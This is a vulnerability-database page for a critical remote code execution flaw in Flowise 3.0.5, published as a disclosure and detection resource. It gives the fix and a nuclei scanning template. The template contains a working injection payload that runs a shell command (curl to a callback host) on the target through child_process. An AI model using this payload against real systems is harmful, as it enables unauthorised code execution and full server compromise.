Browse / CVEs / CVE-2025-59528
CVE-2025-59528· CWE-94
Flowise - Remote Code Execution
criticalseverity
10CVSS score
91.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Flowise 3.0.5 contains a remote code execution vulnerability caused by unsafe evaluation of user input in the CustomMCP node's convertToValidJSONString function, letting remote attackers execute arbitrary code with full Node.js privileges, exploit requires user input to be processed by the vulnerable node.
Impact
Attackers can execute arbitrary code with full Node.js privileges, potentially leading to full system compromise.
Fix
Update to version 3.0.6 or later.
How to confirm it
Send: POST /api/v1/auth/login
Positive when: contains(content_type, "application/json") and contains_all(body, "id", "email", "name") and status_code == 200
Send: POST /api/v1/node-load-method/customMCP
Positive when: contains(interactsh_protocol, "dns") and contains(content_type, "application/json") and contains(body, "No Available Actions") and status_code == 200Run it with nuclei: nuclei -id CVE-2025-59528 -u <target>
The full check
id: CVE-2025-59528
info:
name: Flowise - Remote Code Execution
author: xtr0nix
severity: critical
description: |
Flowise 3.0.5 contains a remote code execution vulnerability caused by unsafe evaluation of user input in the CustomMCP node's convertToValidJSONString function, letting remote attackers execute arbitrary code with full Node.js privileges, exploit requires user input to be processed by the vulnerable node.
impact: |
Attackers can execute arbitrary code with full Node.js privileges, potentially leading to full system compromise.
remediation: |
Update to version 3.0.6 or later.
reference:
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
- https://nvd.nist.gov/vuln/detail/CVE-2025-59528
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-59528
epss-score: 0.86975
epss-percentile: 0.99748
cwe-id: CWE-94
metadata:
verified: true
max-request: 2
tags: cve,cve2025,flowise,rce,authenticated,vkev
flow: http(1) && http(2)
http:
- raw:
- |
POST /api/v1/auth/login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"email":"{{email}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'contains(content_type, "application/json")'
- 'contains_all(body, "id", "email", "name")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
POST /api/v1/node-load-method/customMCP HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-request-from: internal
{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"curl {{interactsh-url}}\");return 1;})()})"}}
matchers:
- type: dsl
dsl:
- 'contains(interactsh_protocol, "dns")'
- 'contains(content_type, "application/json")'
- 'contains(body, "No Available Actions")'
- 'status_code == 200'
condition: andReferences
- https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-3gcm-f6qx-ff7p
- https://nvd.nist.gov/vuln/detail/CVE-2025-59528
Use this check only on systems you are authorised to test. Where the data comes from